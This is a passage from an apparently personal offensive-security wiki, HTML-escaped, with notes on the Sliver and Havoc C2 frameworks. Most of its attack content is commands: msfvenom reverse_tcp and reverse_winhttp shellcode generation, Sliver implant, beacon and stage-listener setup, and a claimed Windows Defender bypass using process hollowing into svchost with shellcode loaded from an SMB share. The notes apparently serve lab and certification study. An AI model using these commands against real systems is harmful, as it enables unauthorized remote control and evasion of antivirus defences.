&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Sliver and Metasploit ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sliver works with Metasploit shellcode.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
windows/x64/custom/reverse_winhttp&lt;br /&gt;
&lt;br /&gt;
windwos/x64/meterpreter/reverse_tcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Beacon vs session ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;Sliver as Stage 2 Payload&amp;#039;&amp;#039;&amp;#039;: Not optimized for small size, can become large depending on protocols enabled. Advised to use stagers in operations.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;Operational Modes&amp;#039;&amp;#039;&amp;#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;Beacon Mode&amp;#039;&amp;#039;&amp;#039;: Asynchronous, implant checks in periodically, retrieves tasks, and returns results.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;Session Mode&amp;#039;&amp;#039;&amp;#039;: Real-time, interactive session, either persistent connection or long polling based on C2 protocol.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;Interactive Sessions&amp;#039;&amp;#039;&amp;#039;: Beacons can initiate sessions using compiled C2 protocols (e.g., &amp;lt;code&amp;gt;interactive&amp;lt;/code&amp;gt; command). Cannot switch from session mode to beacon mode.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;Specific Commands&amp;#039;&amp;#039;&amp;#039;: Some functions like &amp;lt;code&amp;gt;shell&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;portfwd&amp;lt;/code&amp;gt; only operational in interactive sessions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Generating HTTP(S) Implants with certificate ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://redsiege.com/blog/2022/11/introduction-to-sliver/ redsiege.com/blog/2022/11/introduction-to-sliver/]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* By default Sliver generates a self-signed certificate, but Sliver is compatible with Let&amp;#039;s Encrypt. (Need to have &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt; installed).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start a HTTPS listener with Let&amp;#039;s Encrypt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https --domain book.ghanim.no --let&amp;#039;s-encrypt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start a HTTPS listener with own cert, instead of self-signed or Let&amp;#039;s encrypt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https --domain book.ghanim.no --cert ./cert.pem --key ./key.pem&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Extensions (Armory) ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://github.com/BishopFox/sliver/wiki/Armory Armory · BishopFox/sliver Wiki (github.com)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The armory is the Sliver Alias and Extension package manager (introduced in Sliver v1.5), it allows you to automatically install various 3rd party tools such as BOFs and .NET tooling.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
armory install all&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cheatsheet ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generating implants&lt;br /&gt;
generate --mtls  --save&lt;br /&gt;
# Generates an implant with mTLS, saved to a specified directory&lt;br /&gt;
&lt;br /&gt;
# Session mode&lt;br /&gt;
generate --mtls example.com --save /path&lt;br /&gt;
# Generates a windows/amd64 Sliver binary in session mode&lt;br /&gt;
&lt;br /&gt;
# Beacon mode&lt;br /&gt;
generate beacon --mtls example.com --save /path&lt;br /&gt;
# Generates a windows/amd64 beacon implant binary&lt;br /&gt;
&lt;br /&gt;
# Cross plattform&lt;br /&gt;
generate beacon --mtls example.com --save /path&lt;br /&gt;
# Generates a windows/amd64 beacon implant binary&lt;br /&gt;
&lt;br /&gt;
# Manage implants&lt;br /&gt;
implants&lt;br /&gt;
# Lists all generated implants with details&lt;br /&gt;
&lt;br /&gt;
regenerate --save /path&lt;br /&gt;
# Re-downloads a specific implant&lt;br /&gt;
&lt;br /&gt;
# Starting listener&lt;br /&gt;
mtls&lt;br /&gt;
# Starts an mTLS listener&lt;br /&gt;
&lt;br /&gt;
jobs&lt;br /&gt;
# Views and manages running listeners&lt;br /&gt;
&lt;br /&gt;
# Interacting with session&lt;br /&gt;
use&lt;br /&gt;
# Interacts with a specific session&lt;br /&gt;
&lt;br /&gt;
# Interacting with beacon&lt;br /&gt;
beacons&lt;br /&gt;
# Lists all beacons&lt;br /&gt;
&lt;br /&gt;
use&lt;br /&gt;
# Interacts with a specific beacon&lt;br /&gt;
&lt;br /&gt;
Switching from beacon to session mode&lt;br /&gt;
interactive&lt;br /&gt;
# Switches a beacon to interactive session mode&lt;br /&gt;
&lt;br /&gt;
# Multiple domain&lt;br /&gt;
generate --mtls  --http  --dns&lt;br /&gt;
# Specifies multiple domains and protocols during generation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Example getting beacon with msf ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://bishopfox.com/blog/passing-the-osep-exam-using-sliver Passing the OSEP Exam Using Sliver | Bishop Fox]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Creating a New Beacon Profile&lt;br /&gt;
# Creates a new beacon profile with mTLS communication, formatted as shellcode.&lt;br /&gt;
&lt;br /&gt;
sliver &amp;gt; profiles new beacon --mtls 192.168.56.1:443 --format shellcode goad-shellcode-beacon&lt;br /&gt;
&lt;br /&gt;
# Setting Up a Stage Listener&lt;br /&gt;
# Establishes a stage listener using TCP at the specified address and port, linked to the beacon profile.&lt;br /&gt;
&lt;br /&gt;
sliver &amp;gt; stage-listener -u tcp://192.168.56.1:8080 -p goad-shellcode-beacon --prepend-size&lt;br /&gt;
&lt;br /&gt;
# Starting an mTLS Listener&lt;br /&gt;
# Initiates an mTLS listener on the given IP and port for secure communication.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sliver &amp;gt; mtls -L 192.168.56.1 -l 443&lt;br /&gt;
&lt;br /&gt;
# We have our stager listener on port 8080 and our C2 channel on port 443 – change these up as you need. I used beacons during my testing since they are good for long-haul communication, and I frequently used interactive sessions since we are in a lab environment. The last thing we need is our shellcode, and we can use Sliver or msfvenom.&lt;br /&gt;
&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=8080&lt;br /&gt;
&lt;br /&gt;
# Use this in ex. process injection, process hollowing, AES encrypted shellcode etc.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Bypassing defender with staged process hollowing ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I was able to bypass Windows Defender on a fully patched Windows 10 (12.12.2023) using process hollowing and sliver with shellcode generated by msfvenom.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This is a two staged exectution. The first stage will get our stager for sliver and inject it to svchost using process hollowing. The next stage is sliver executing our implant on the target.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
First generate a shellcode using msfvenom.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.1.38 LPORT=1234 LURI=/hello.woff -f raw -o stager.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We will use a technique called process hollowing and place our shellcode in svchosts.exe. The shellcode will be hosted on my kali using smbserver.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Snippet from process hollowing code. See CheatSheet II for full code.&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
            string shellcodePath = &amp;quot;\\\\192.168.1.38\\share\\UNEVEN_DESTRUCTION.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
No I will start an smbserver on my kali and setup sliver.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a new profile that will be we will use for our staging listener.&lt;br /&gt;
profiles new --mtls 192.168.1.38 --format shellcode win-shellcode&lt;br /&gt;
&lt;br /&gt;
# Creata a steage listener and link it to our profile.&lt;br /&gt;
stage-listener --url http://192.168.1.38:1234 --profile win-shellcode --prepend-size&lt;br /&gt;
&lt;br /&gt;
# Last start a listener on mTLS.&lt;br /&gt;
mtls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Havoc C2 =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Install ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://havocframework.com/docs/installation 1. Installation.md | Havoc Documentation (havocframework.com)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://github.com/HavocFramework/Havoc.git Havoc source code] avaliable on [https://github.com/HavocFramework/Havoc.git github] and can be cloned using &amp;lt;code&amp;gt;git clone&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone https://github.com/HavocFramework/Havoc.git&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After cloning Havoc we are going to need to change the current directory to the cloned repository.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd Havoc&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Install the dependencies ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After following the steps above we need to install the needed dependecies for the teamserver and compile it to our final executable. Be aware that the teamserver requieres golang 1.18 to be able to compile and run.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Ubuntu 20.04 / 22.04 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
You must enable Python 3.10 in your APT repositories before you can run the Client successfully.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo add-apt-repository ppa:deadsnakes/ppa&lt;br /&gt;
sudo apt update&lt;br /&gt;
sudo apt install python3.10 python3.10-dev&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Kali and other Debian based Distros only. ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
The immediate following is for Debian based Distros only.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Debian 10/11 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
You must setup the &amp;lt;code&amp;gt;bookworm&amp;lt;/code&amp;gt; repo for Python 3.10.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &amp;#039;deb http://ftp.de.debian.org/debian bookworm main&amp;#039; &amp;gt;&amp;gt; /etc/apt/sources.list&lt;br /&gt;
sudo apt update&lt;br /&gt;
sudo apt install python3-dev python3.10-dev libpython3.10 libpython3.10-dev python3.10&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Building the Teamserver ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Install additional Go dependencies:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd teamserver&lt;br /&gt;
go mod download golang.org/x/sys&lt;br /&gt;
go mod download github.com/ugorji/go&lt;br /&gt;
cd ..&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Build and Run:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install musl Compiler &amp;amp; Build Binary (From Havoc Root Directory)&lt;br /&gt;
make ts-build&lt;br /&gt;
&lt;br /&gt;
# Run the teamserver&lt;br /&gt;
./havoc server --profile ./profiles/havoc.yaotl -v --debug&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
All files created during interaction with the Teamserver are stored within the &amp;lt;code&amp;gt;/Havoc/data/*&amp;lt;/code&amp;gt; folder.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Building the Client ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now that we successfully compiled the teamserver we now should install the dependencies for the Client and compile it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Build and Run:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Build the client Binary (From Havoc Root Directory)&lt;br /&gt;
make client-build&lt;br /&gt;
&lt;br /&gt;
# Run the client&lt;br /&gt;
./havoc client&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After we finished compiling the teamserver and client we can start the teamserver and client from the havoc executable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ ./havoc&lt;br /&gt;
              _______           _______  _______&lt;br /&gt;
    │\     /│(  ___  )│\     /│(  ___  )(  ____ \&lt;br /&gt;
    │ )   ( ││ (   ) ││ )   ( ││ (   ) ││ (    \/&lt;br /&gt;
    │ (___) ││ (___) ││ │   │ ││ │   │ ││ │&lt;br /&gt;
    │  ___  ││  ___  │( (   ) )│ │   │ ││ │&lt;br /&gt;
    │ (   ) ││ (   ) │ \ \_/ / │ │   │ ││ │&lt;br /&gt;
    │ )   ( ││ )   ( │  \   /  │ (___) ││ (____/\&lt;br /&gt;
    │/     \││/     \│   \_/   (_______)(_______/&lt;br /&gt;
&lt;br /&gt;
  	 pwn and elevate until it&amp;#039;s done&lt;br /&gt;
&lt;br /&gt;
Havoc Framework [Version: 0.4.1] [CodeName: The Fool]&lt;br /&gt;
&lt;br /&gt;
Usage:&lt;br /&gt;
  havoc [flags]&lt;br /&gt;
  havoc [command]&lt;br /&gt;
&lt;br /&gt;
Available Commands:&lt;br /&gt;
  client      client command&lt;br /&gt;
  help        Help about any command&lt;br /&gt;
  server      server command&lt;br /&gt;
&lt;br /&gt;
Flags:&lt;br /&gt;
  -h, --help   help for havoc&lt;br /&gt;
&lt;br /&gt;
Use &amp;quot;havoc [command] --help&amp;quot; for more information about a command.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Client ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:HavocConnectionDialog.png|thumb|Havoc connection dialog]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The Name field can be any profile name (like &amp;lt;code&amp;gt;Death Star&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;Teamserver&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the fields, &amp;lt;code&amp;gt;Host&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;Port&amp;lt;/code&amp;gt; should contain the teamserver host address/domain and port.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the fields, &amp;lt;code&amp;gt;User&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;Password&amp;lt;/code&amp;gt; should contain the username and password specified in your Yaotl profile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you are seeing this following error then it most likely means that you passed the wrong username and or password.&lt;br /&gt;
&lt;br /&gt;
[[Category:Offensive Security]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>